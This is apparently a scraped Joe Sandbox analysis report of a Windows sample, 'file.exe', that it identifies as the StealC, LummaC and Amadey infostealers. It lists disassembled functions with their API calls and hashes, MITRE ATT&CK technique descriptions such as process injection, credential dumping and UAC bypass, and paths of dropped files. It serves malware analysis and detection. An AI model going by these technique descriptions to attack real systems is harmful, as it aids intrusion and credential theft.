Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: c4d66e155ffd04418212dcef59f462abeecf75adf3e97c47e3b2bf8a1f4af04c
Instruction ID: 8ea5dc0fdeb572ddc68a14517699865533082cf2c2b4ea3ede2659a28b8fee16
Opcode Fuzzy Hash: c4d66e155ffd04418212dcef59f462abeecf75adf3e97c47e3b2bf8a1f4af04c
Instruction Fuzzy Hash: F1D0227220411491C12062979C44BA6B2AEC7C32FDF002872E12C41E000E6950DBD2EE

Function 6C760DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C760DF5
TlsGetValue.KERNEL32 ref: 6C760E2D
TlsGetValue.KERNEL32 ref: 6C760E58
TlsGetValue.KERNEL32 ref: 6C760E84

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 0b8f6c28ea62eabf00fc86ac4c1a4974c407677279c77976ff2d28d756b74744
Instruction ID: 96f0fec2b1f4a9684ce915dc9fc8fdd385de3ebf36ec2019fbfb75a5fb641d06
Opcode Fuzzy Hash: 0b8f6c28ea62eabf00fc86ac4c1a4974c407677279c77976ff2d28d756b74744
Instruction Fuzzy Hash: 5D31A3B06443A18BDB117F7ACA4526977B8BF0630CF114679DC9987E21DB349485CBCA

Function 6C760F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C702AF5,?,?,?,?,?,6C700A1B,00000000), ref: 6C760F1A
malloc.MOZGLUE(00000001), ref: 6C760F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C760F42
TlsGetValue.KERNEL32 ref: 6C760F5B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 70e48b9b4c059a7ac2c2f1c23004ba468bcf234f065b7eead1bae1209599e99f
Instruction ID: 17704c292ffd0ea5a058ce13f17ed074e2c435de6ac78f852b8bc71c69f2670b
Opcode Fuzzy Hash: 70e48b9b4c059a7ac2c2f1c23004ba468bcf234f065b7eead1bae1209599e99f
Instruction Fuzzy Hash: A801DDB1A0024157E721173F9F045A67AACEF5335DB010571EC1DC2E22D730C849C6D6

Function 6C711EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C711ECE
free.MOZGLUE(?), ref: 6C711EDF
free.MOZGLUE(?), ref: 6C711EEF
free.MOZGLUE(?), ref: 6C711EF5

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4a742d53d7d7b0a8e7363f7e809561191b0b35274f61b430359f8c48b49072b4
Instruction ID: 0b3e71d813b298dfe7c5b150be5029ab9da8021705287799ac23f6adab64702f
Opcode Fuzzy Hash: 4a742d53d7d7b0a8e7363f7e809561191b0b35274f61b430359f8c48b49072b4
Instruction Fuzzy Hash: 74F0B4B57055016BEB509B65DC45D27776CEF45599B080434EC09C7E00D729F414C6E1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAEBAKKJKKEBKFIDBFBAKJJDHJ

C:\ProgramData\AFHDAEGHDGDBGDGDAAFI

C:\ProgramData\BAECFHJE

C:\ProgramData\BGIJEGCGDGHDHIDHDGCBGIJKFC

C:\ProgramData\EGHCAKKEGCAAFHJJJDBK

C:\ProgramData\HCFBFBAE

C:\ProgramData\KKFHJJDHJEGHJKECBGCF

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre